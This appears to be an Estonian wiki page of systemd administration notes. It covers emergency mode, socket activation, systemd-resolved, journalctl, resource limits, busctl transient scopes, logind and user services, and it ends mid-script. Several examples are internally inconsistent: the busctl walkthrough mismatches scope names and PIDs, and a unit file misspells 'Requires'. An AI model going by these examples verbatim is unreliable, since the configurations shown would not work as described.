====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===systemd-cat===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dbus kaudu scope kapslis protsessi töötamine, käivitada protsess&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# sleep 300 &amp;amp;&lt;br /&gt;
[1] 9261&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seostada protsess eraldi moodustatud systemd slice osakonnaga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# busctl call org.freedesktop.systemd1 \&lt;br /&gt;
            /org/freedesktop/systemd1 \&lt;br /&gt;
            org.freedesktop.systemd1.Manager \&lt;br /&gt;
            StartTransientUnit \&lt;br /&gt;
            &amp;quot;ssa(sv)a(sa(sv))&amp;quot; \&lt;br /&gt;
            &amp;quot;real-server-mimic.scope&amp;quot; \&lt;br /&gt;
            &amp;quot;fail&amp;quot; \&lt;br /&gt;
            2 &amp;quot;Slice&amp;quot; &amp;quot;s&amp;quot; &amp;quot;custom-labs-01.slice&amp;quot; &amp;quot;PIDs&amp;quot; &amp;quot;au&amp;quot; 1 8702 \&lt;br /&gt;
            0&lt;br /&gt;
o &amp;quot;/org/freedesktop/systemd1/job/62153&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* org.freedesktop.systemd1 /org/freedesktop/systemd1: The destination path pointing directly to systemd's primary system core.&lt;br /&gt;
* StartTransientUnit: The literal internal API function name.&lt;br /&gt;
* &amp;quot;ssa(sv)a(sa(sv))&amp;quot;: The explicit structural signature definition. It alerts systemd to expect: String, String, Array of Variants, and a nested Array of auxiliary configurations.&lt;br /&gt;
* &amp;quot;my-direct-dbus.scope&amp;quot;: The custom name for the new leaf node container.&lt;br /&gt;
* &amp;quot;fail&amp;quot;: The conflict mode. It instructs systemd: &amp;quot;If a scope with this exact name already exists, throw an error instead of overriding it.&amp;quot;&lt;br /&gt;
* 2 &amp;quot;Slice&amp;quot; &amp;quot;s&amp;quot; &amp;quot;custom-labs-01.slice&amp;quot; &amp;quot;PIDs&amp;quot; &amp;quot;au&amp;quot; 1 8620: This tells systemd we are supplying 2 properties inside our payload array:&lt;br /&gt;
&lt;br /&gt;
 Set the target Slice property to the string value &amp;quot;custom-labs-01.slice&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 Populate the PIDs property array with an active array size of 1, passing our target PID unsigned integer value (8620).&lt;br /&gt;
&lt;br /&gt;
* 0: Passes an empty auxiliary parameters list.&lt;br /&gt;
&lt;br /&gt;
tulemuse kontrolliks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# systemd-cgls /custom.slice&lt;br /&gt;
CGroup /custom.slice:&lt;br /&gt;
└─custom-labs.slice&lt;br /&gt;
  └─custom-labs-02.slice&lt;br /&gt;
    └─real-server-02.scope&lt;br /&gt;
      └─9261 sleep 300&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-hostnamed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* busctl käivitab systemd-hostnamed protsessi ajutiselt vastavalt vajadusele&lt;br /&gt;
* ta on 'D-Bus On-Demand Activated Service' ehk 'Transient/Ephemeral Daemon' ehk 'Lazy-Loaded / Socket-Activated Daemon'&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# hostnamectl set-hostname ns-pg-01&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* muudetakse /etc/hostname fail&lt;br /&gt;
* ei muudeta /etc/hosts faili&lt;br /&gt;
* väidetavalt teavitatakse syslog jt deemoneid st restart vms ei ole vajalik arvutile&lt;br /&gt;
* reaalselt süsteemi hostname muutmisel hostnamectl programmist väga palju abi ei ole, /etc/hosts fail tuleb käsitsi muuta&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
